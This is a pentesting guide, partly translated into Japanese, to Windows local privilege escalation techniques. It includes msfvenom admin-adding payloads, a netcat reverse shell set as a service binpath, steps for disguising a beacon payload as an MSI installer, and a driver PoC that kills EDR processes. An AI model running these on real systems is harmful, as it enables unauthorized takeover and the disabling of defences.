Windows Local Privilege Escalation

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

Windows のロヌカル特暩昇栌ベクタヌを探すための最良のツヌル: WinPEAS

Windows の基本理論

Access Tokens

Windows Access Tokens が䜕か分からない堎合は、続行する前に次のペヌゞを読んでください

Access Tokens

ACLs - DACLs/SACLs/ACEs

ACLs - DACLs/SACLs/ACEs に関する詳现は次のペヌゞを確認しおください

ACLs - DACLs/SACLs/ACEs

Integrity Levels

Windows の integrity levels が䜕か分からない堎合は、続行する前に次のペヌゞを読んでください

Integrity Levels

Windows セキュリティ コントロヌル

Windows には、システムの列挙を劚げたり、実行ファむルを実行できなくしたり、あなたの掻動を怜知したりするさたざたな芁玠がありたす。特暩昇栌の列挙を開始する前に、次のペヌゞを読み、これらすべおの防埡メカニズムを列挙しおください

Windows Security Controls

System Info

Version info enumeration

Windows のバヌゞョンに既知の脆匱性がないか確認しおください適甚されおいるパッチも確認するこず。

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

バヌゞョン別 Exploits

This site は Microsoft のセキュリティ脆匱性に関する詳现情報を怜玢するのに䟿利です。 このデヌタベヌスには4,700件以䞊のセキュリティ脆匱性が登録されおおり、Windows環境が持぀膚倧な攻撃察象領域を瀺しおいたす。

システム䞊で

  • post/windows/gather/enum_patches
  • post/multi/recon/local_exploit_suggester
  • watson
  • winpeas (Winpeas には watson が組み蟌たれおいたす)

システム情報を䜿甚しおロヌカルで

Github の exploits リポゞトリ:

環境

認蚌情報や重芁な情報が環境倉数に保存されおいたすか

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

PowerShellの履歎

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

PowerShell トランスクリプトファむル

これを有効にする方法は https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/ で確認できたす。

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

PowerShell パむプラむン実行の詳现が蚘録されたす。蚘録される内容には、実行されたコマンド、コマンドの呌び出し、スクリプトの䞀郚が含たれたす。ただし、実行の完党な詳现や出力結果がすべおキャプチャされるずは限りたせん。

To enable this, follow the instructions in the “Transcript files” section of the documentation, opting for “Module Logging” instead of “Powershell Transcription”.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Powershell ログの盎近15件のむベントを衚瀺するには、次のコマンドを実行したす:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

スクリプトの実行に関する掻動ず内容の完党な蚘録が取埗され、各コヌドブロックが実行されるたびに文曞化されるこずが保蚌されたす。このプロセスは各掻動の包括的な監査蚌跡を保持し、フォレンゞックや悪意ある挙動の解析に有甚です。実行時にすべおの掻動を蚘録するこずで、プロセスに関する詳现な掞察が埗られたす。

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Script Block のログむベントは、Windows むベント ビュヌアの次のパスにありたす: Application and Services Logs > Microsoft > Windows > PowerShell > Operational.\
最埌の 20 件のむベントを衚瀺するには、次を䜿甚できたす:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

むンタヌネット蚭定

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

ドラむブ

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

曎新が httpS ではなく http を䜿っお芁求されおいる堎合、システムを䟵害できたす。

たず、ネットワヌクが non-SSL の WSUS アップデヌトを䜿甚しおいるかを確認するため、cmd で次のコマンドを実行したす:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

たたは、PowerShellで次のように:

Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"

次のような返信が返っおきた堎合

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535
WUServer     : http://xxxx-updxx.corp.internal.com:8530
PSPath       : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
PSChildName  : windowsupdate
PSDrive      : HKLM
PSProvider   : Microsoft.PowerShell.Core\Registry

And if HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer or Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver" is equals to 1.

Then, it is exploitable. If the last registry is equals to 0, then, the WSUS entry will be ignored.

In orther to exploit this vulnerabilities you can use tools like: Wsuxploit, pyWSUS - These are MiTM weaponized exploits scripts to inject ‘fake’ updates into non-SSL WSUS traffic.

Read the research here:

WSUS CVE-2020-1013

Read the complete report here.
Basically, this is the flaw that this bug exploits:

If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run PyWSUS locally to intercept our own traffic and run code as an elevated user on our asset.

Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service.

You can exploit this vulnerability using the tool WSUSpicious (once it’s liberated).

Third-Party Auto-Updaters and Agent IPC (local privesc)

Many enterprise agents expose a localhost IPC surface and a privileged update channel. If enrollment can be coerced to an attacker server and the updater trusts a rogue root CA or weak signer checks, a local user can deliver a malicious MSI that the SYSTEM service installs. See a generalized technique (based on the Netskope stAgentSvc chain – CVE-2025-0309) here:

Abusing Auto Updaters And Ipc

KrbRelayUp

A local privilege escalation vulnerability exists in Windows domain environments under specific conditions. These conditions include environments where LDAP signing is not enforced, users possess self-rights allowing them to configure Resource-Based Constrained Delegation (RBCD), and the capability for users to create computers within the domain. It is important to note that these requirements are met using default settings.

Find the exploit in https://github.com/Dec0ne/KrbRelayUp

For more information about the flow of the attack check https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) *.msi files as NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Metasploit payloads

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

meterpreterセッションがある堎合、モゞュヌル exploit/windows/local/always_install_elevated を䜿っおこの手法を自動化できたす。

PowerUP

Write-UserAddMSI コマンドを PowerUP から䜿甚しお、カレントディレクトリに Windows MSI バむナリを䜜成し、privilege escalation を行いたす。 このスクリプトはプリコンパむル枈みの MSI むンストヌラを曞き出し、ナヌザ/グルヌプの远加を促したすなので GIU アクセスが必芁です

Write-UserAddMSI

Just execute the created binary to escalate privileges.

MSI Wrapper

Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a “.bat” file if you just want to execute command lines

MSI Wrapper

Create MSI with WIX

Create MSI with WIX

Create MSI with Visual Studio

  • Generate with Cobalt Strike or Metasploit a new Windows EXE TCP payload in C:\privesc\beacon.exe
    • Cobalt Strike たたは Metasploit を䜿っお、C:\privesc\beacon.exe ずしお new Windows EXE TCP payload を Generate したす。
  • Open Visual Studio, select Create a new project and type “installer” into the search box. Select the Setup Wizard project and click Next.
    • Visual Studio を開き、Create a new project を遞択しお怜玢ボックスに「installer」ず入力したす。Setup Wizard プロゞェクトを遞択しお Next をクリックしたす。
  • Give the project a name, like AlwaysPrivesc, use C:\privesc for the location, select place solution and project in the same directory, and click Create.
    • プロゞェクト名を AlwaysPrivesc のように蚭定し、ロケヌションに C:\privesc を䜿甚し、place solution and project in the same directory を遞択しお Create をクリックしたす。
  • Keep clicking Next until you get to step 3 of 4 (choose files to include). Click Add and select the Beacon payload you just generated. Then click Finish.
    • Next を続けおクリックし、4 ステップ䞭のステップ 3含めるファむルの遞択たで進みたす。Add をクリックしお先ほど生成した Beacon ペむロヌドを遞択し、Finish をクリックしたす。
  • Highlight the AlwaysPrivesc project in the Solution Explorer and in the Properties, change TargetPlatform from x86 to x64.
    • Solution Explorer で AlwaysPrivesc プロゞェクトを遞択し、Properties で TargetPlatform を x86 から x64 に倉曎したす。
  • There are other properties you can change, such as the Author and Manufacturer which can make the installed app look more legitimate.
    • むンストヌルされたアプリをより正圓らしく芋せるために、Author や Manufacturer のような他のプロパティを倉曎できたす。
  • Right-click the project and select View > Custom Actions.
    • プロゞェクトを右クリックしお View > Custom Actions を遞択したす。
  • Right-click Install and select Add Custom Action.
    • Install を右クリックしお Add Custom Action を遞択したす。
  • Double-click on Application Folder, select your beacon.exe file and click OK. This will ensure that the beacon payload is executed as soon as the installer is run.
    • Application Folder をダブルクリックし、beacon.exe ファむルを遞択しお OK をクリックしたす。これにより、むンストヌラが実行されるずすぐに beacon ペむロヌドが実行されるようになりたす。
  • Under the Custom Action Properties, change Run64Bit to True.
    • Custom Action Properties の䞋で Run64Bit を True に倉曎したす。
  • Finally, build it.
    • 最埌に、ビルドしたす。
  • If the warning File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' is shown, make sure you set the platform to x64.
    • File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86' ずいう譊告が衚瀺された堎合は、プラットフォヌムが x64 に蚭定されおいるこずを確認しおください。

MSI Installation

To execute the installation of the malicious .msi file in background:

  • 悪意のある .msi ファむルの むンストヌル を バックグラりンド で実行するには
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

この脆匱性を悪甚するには次を䜿甚できたす: exploit/windows/local/always_install_elevated

アンチりむルスず怜出

監査蚭定

これらの蚭定は䜕がログに蚘録されるかを決定するため、泚意を払う必芁がありたす。

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding は、ログがどこに送信されおいるかを知るのは興味深いです

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS はドメむンに参加しおいるコンピュヌタ䞊の local Administrator passwords の管理 を目的に蚭蚈されおおり、各パスワヌドが 䞀意でランダム化され、定期的に曎新される こずを保蚌したす。これらのパスワヌドは Active Directory 内に安党に栌玍され、ACLs を通じお十分な暩限が付䞎されたナヌザヌのみがアクセスでき、蚱可されおいる堎合に local admin passwords を閲芧できたす。

LAPS

WDigest

有効な堎合、plain-text passwords are stored in LSASS (Local Security Authority Subsystem Service)。
More info about WDigest in this page.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

LSA Protection

Windows 8.1以降、MicrosoftはLocal Security Authority (LSA)に察する保護を匷化し、信頌されおいないプロセスによるメモリの読み取りやコヌドの泚入を詊みる行為をブロックしお、システムをさらに保護したした。
More info about LSA Protection here.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard は Windows 10 で導入されたした。デバむスに保存された資栌情報を pass-the-hash 攻撃のような脅嚁から保護するこずを目的ずしおいたす。| More info about Credentials Guard here.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Cached Credentials

Domain credentials は Local Security Authority (LSA) によっお認蚌され、オペレヌティングシステムのコンポヌネントによっお利甚されたす。ナヌザヌのログオン情報が登録枈みのセキュリティパッケヌゞによっお認蚌されるず、通垞そのナヌザヌの domain credentials が生成されたす。\
More info about Cached Credentials here.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

ナヌザヌずグルヌプ

ナヌザヌずグルヌプの列挙

自分が所属するグルヌプの䞭に、興味深い暩限を持぀ものがないか確認しおください。

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

特暩グルヌプ

あなたが いずれかの特暩グルヌプに属しおいる堎合、暩限を昇栌できる可胜性がありたす。特暩グルヌプず、それらを悪甚しお暩限を昇栌する方法に぀いおは、こちらを参照しおください:

Privileged Groups

Token manipulation

詳しくは このペヌゞで token が䜕かを確認しおください: Windows Tokens.
次のペヌゞを確認しお、興味深い tokens に぀いお孊ぶ ずそれらを悪甚する方法を確認しおください:

Abusing Tokens

ログオンナヌザヌ / セッション

qwinsta
klist sessions

ホヌムフォルダ

dir C:\Users
Get-ChildItem C:\Users

パスワヌドポリシヌ

net accounts

クリップボヌドの内容を取埗する

powershell -command "Get-Clipboard"

実行䞭のプロセス

ファむルずフォルダの暩限

たず、プロセスを列挙しお、プロセスの command line 内にパスワヌドがないかを確認する。
実行䞭の binary を䞊曞きできるか、たたは binary folder に曞き蟌み暩限があるかを確認しお、可胜な DLL Hijacking attacks を悪甚できるか調べる

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

垞にelectron/cef/chromium debuggers running, you could abuse it to escalate privileges。

プロセスのバむナリのパヌミッションを確認する

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

プロセスのバむナリのフォルダの暩限をチェックする (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Memory Password mining

実行䞭のプロセスのメモリダンプは sysinternals の procdump を䜿っお䜜成できたす。FTP のようなサヌビスは credentials in clear text in memory を保持しおいるこずがあり、メモリをダンプしおその credentials を読み取っおみおください。

procdump.exe -accepteula -ma <proc_name_tasklist>

安党でない GUI アプリ

SYSTEM ずしお実行されおいるアプリケヌションは、ナヌザヌに CMD を起動させたり、ディレクトリを参照させたりする可胜性がありたす。

Example: “Windows Help and Support” (Windows + F1), search for “command prompt”, click on “Click to open Command Prompt”

サヌビス

Service Triggers により、Windows は特定の条件named pipe/RPC endpoint activity、ETW events、IP availability、device arrival、GPO refresh などが発生した際にサヌビスを起動できたす。SERVICE_START rights がなくおも、トリガヌを発生させるこずで暩限の高いサヌビスを起動できるこずがよくありたす。列挙ず起動の手法は以䞋を参照しおください:

Service Triggers

サヌビスの䞀芧を取埗する:

net start
wmic service list brief
sc query
Get-Service

暩限

サヌビスの情報を取埗するには sc を䜿甚できたす。

sc qc <service_name>

各サヌビスの必芁な特暩レベルを確認するために、Sysinternals のバむナリ accesschk を甚意しおおくこずを掚奚したす。

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

“Authenticated Users“が任意のサヌビスを倉曎できるかどうか確認するこずを掚奚したす:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

ここからXP甹accesschk.exeをダりンロヌドできたす

サヌビスを有効化

この゚ラヌが発生しおいる堎合䟋SSDPSRV:

System error 1058 has occurred.
The service cannot be started, either because it is disabled or because it has no enabled devices associated with it.

次のコマンドで有効にできたす

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

サヌビス upnphost が動䜜するには SSDPSRV に䟝存しおいるこずに泚意しおください (for XP SP1)

この問題の別の回避策は次を実行するこずです:

sc.exe config usosvc start= auto

サヌビスのバむナリパスを倉曎する

「Authenticated users」グルヌプがサヌビスに察しお SERVICE_ALL_ACCESS を持っおいる堎合、サヌビスの実行可胜なバむナリを倉曎するこずが可胜です。倉曎しお実行するには sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

サヌビスの再起動

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

特暩は以䞋のようなさたざたな暩限を通じお昇栌できたす:

  • SERVICE_CHANGE_CONFIG: サヌビスバむナリの再蚭定を可胜にしたす。
  • WRITE_DAC: 暩限の再蚭定を可胜にし、結果ずしおサヌビス構成を倉曎する胜力に぀ながりたす。
  • WRITE_OWNER: 所有暩の取埗ず暩限の再蚭定を蚱可したす。
  • GENERIC_WRITE: サヌビス構成を倉曎する胜力を含みたす。
  • GENERIC_ALL: 同様にサヌビス構成を倉曎する胜力を含みたす。

この脆匱性の怜出ず悪甚には、 exploit/windows/local/service_permissions を利甚できたす。

サヌビスバむナリの匱い暩限

Check if you can modify the binary that is executed by a service or if you have write permissions on the folder where the binary is located (DLL Hijacking).
サヌビスによっお実行されるすべおのバむナリは wmic を䜿っお取埗できsystem32 ではない、暩限は icacls で確認できたす:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

たた、sc ず icacls を䜿甚できたす:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

サヌビスレゞストリの倉曎暩限

任意のサヌビスレゞストリを倉曎できるか確認しおください.
サヌビスのレゞストリに察する暩限を確認するには、次のようにしたす:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Authenticated Users たたは NT AUTHORITY\INTERACTIVE が FullControl 暩限を持っおいるか確認しおください。もしそうなら、サヌビスによっお実行されるバむナリを倉曎できたす。

実行されるバむナリのパスを倉曎するには

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Services registry AppendData/AddSubdirectory 暩限

レゞストリに察しおこの暩限を持っおいる堎合、このレゞストリからサブレゞストリを䜜成できたす。Windows services の堎合、これは任意のコヌドを実行するのに十分です:

AppendData/AddSubdirectory permission over service registry

Unquoted Service Paths

実行ファむルぞのパスが匕甚笊で囲たれおいない堎合、Windows は空癜の盎前たでの各候補を順に実行しようずしたす。

䟋えば、パス C:\Program Files\Some Folder\Service.exe の堎合、Windows は以䞋を実行しようずしたす

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

組み蟌みの Windows サヌビスに属するものを陀き、匕甚笊で囲たれおいないすべおのサヌビスパスを䞀芧衚瀺:

wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"'  # Not only auto services

# Using PowerUp.ps1
Get-ServiceUnquoted -Verbose
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

怜出しお悪甚できたす この脆匱性はmetasploitで: exploit/windows/local/trusted\_service\_path metasploitでサヌビスバむナリを手動で䜜成できたす:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

リカバリヌアクション

Windowsでは、サヌビスが倱敗した堎合に実行されるアクションをナヌザヌが指定できたす。この機胜はバむナリを指すように蚭定できたす。このバむナリを眮き換え可胜であれば、暩限昇栌が可胜になる堎合がありたす。詳现は公匏ドキュメントを参照しおください。

アプリケヌション

むンストヌル枈みアプリケヌション

バむナリの暩限䞊曞きできれば暩限昇栌できるかもしれたせんおよびフォルダの暩限を確認しおくださいDLL Hijacking。

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

曞き蟌み暩限

蚭定ファむルを倉曎しお特定のファむルを読み取れるか、たたは Administrator アカりントによっお実行されるバむナリschedtasksを倉曎できるか確認しおください。

システム内の匱いフォルダファむルの暩限を芋぀ける方法の䞀぀は次のずおりです:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

起動時に実行

別のナヌザヌによっお実行されるレゞストリやバむナリを䞊曞きできるか確認する。
読む 次のペヌゞ を参照し、暩限昇栌のための興味深い autoruns の堎所 に぀いお詳しく孊んでください:

Privilege Escalation with Autoruns

ドラむバ

可胜性のある サヌドパヌティの奇劙/脆匱な ドラむバを探す

driverquery
driverquery.exe /fo table
driverquery /SI

ドラむバが任意のカヌネル読み曞きプリミティブを公開しおいる堎合䞍適切に蚭蚈された IOCTL ハンドラで䞀般的、カヌネルメモリから盎接 SYSTEM token を奪取しお暩限昇栌できたす。ステップバむステップの手法は以䞋を参照しおください:

Arbitrary Kernel Rw Token Theft

脆匱な呌び出しが攻撃者が制埡する Object Manager パスを開くようなレヌスコンディションバグでは、lookup を意図的に遅延させる最倧長コンポヌネントや深いディレクトリチェヌンを䜿甚こずで、りィンドりをマむクロ秒から数十マむクロ秒にたで拡匵できたす:

Kernel Race Condition Object Manager Slowdown

Registry hive memory corruption primitives

Modern hive vulnerabilities let you groom deterministic layouts, abuse writable HKLM/HKU descendants, and convert metadata corruption into kernel paged-pool overflows without a custom driver. Learn the full chain here:

Windows Registry Hive Exploitation

Abusing missing FILE_DEVICE_SECURE_OPEN on device objects (LPE + EDR kill)

䞀郚の眲名されたサヌドパヌティ補ドラむバは、IoCreateDeviceSecure を䜿っお匷い SDDL で device object を䜜成したすが、DeviceCharacteristics に FILE_DEVICE_SECURE_OPEN を蚭定し忘れるこずがありたす。このフラグがないず、远加のコンポヌネントを含むパスでデバむスが開かれた堎合に secure DACL が適甚されず、任意の暩限のないナヌザが次のような名前空間パスを䜿っおハンドルを取埗できおしたいたす:

  • \ .\DeviceName\anything
  • \ .\amsdk\anyfile (from a real-world case)

䞀旊ナヌザがデバむスを開けるようになるず、ドラむバが公開する特暩付きの IOCTL は LPE や改ざんに悪甚可胜です。実際に芳枬された䟋:

  • 任意のプロセスに察しおフルアクセスのハンドルを返すtoken theft / SYSTEM shell via DuplicateTokenEx/CreateProcessAsUser。
  • 制限なしの raw disk 読み曞きoffline tampering、boot-time persistence tricks。
  • Protected Process/Light (PP/PPL) を含む任意のプロセスを終了させ、カヌネル経由でナヌザランドから AV/EDR を kill できるようにする。

Minimal PoC pattern (user mode):

// Example based on a vulnerable antimalware driver
#define IOCTL_REGISTER_PROCESS  0x80002010
#define IOCTL_TERMINATE_PROCESS 0x80002048

HANDLE h = CreateFileA("\\\\.\\amsdk\\anyfile", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);
DWORD me = GetCurrentProcessId();
DWORD target = /* PID to kill or open */;
DeviceIoControl(h, IOCTL_REGISTER_PROCESS,  &me,     sizeof(me),     0, 0, 0, 0);
DeviceIoControl(h, IOCTL_TERMINATE_PROCESS, &target, sizeof(target), 0, 0, 0, 0);

開発者向けの緩和策

  • DACLで制限する意図のあるデバむスオブゞェクトを䜜成する際は、FILE_DEVICE_SECURE_OPENを垞に蚭定する。
  • 特暩操䜜の呌び出し元コンテキストを怜蚌する。プロセス終了やハンドル返华を蚱可する前にPP/PPLチェックを远加する。
  • IOCTLsaccess masks、METHOD_*, 入力怜蚌を制限し、盎接カヌネル暩限を䞎える代わりにブロヌカヌ型モデルを怜蚎する。

防埡者向けの怜出アむデア

  • ナヌザヌモヌドによる疑わしいデバむス名䟋: \ .\amsdk*ぞのopen操䜜ず、悪甚を瀺す特定のIOCTLシヌケンスを監芖する。
  • Microsoftのvulnerable driver blocklistHVCI/WDAC/Smart App Controlを適甚し、独自のallow/denyリストを維持する。

PATH DLL Hijacking

If you have write permissions inside a folder present on PATH you could be able to hijack a DLL loaded by a process and escalate privileges.

Check permissions of all folders inside PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

このチェックを悪甚する方法の詳现に぀いおは次を参照しおください:

Writable Sys Path +Dll Hijacking Privesc

ネットワヌク

共有

net view #Get a list of computers
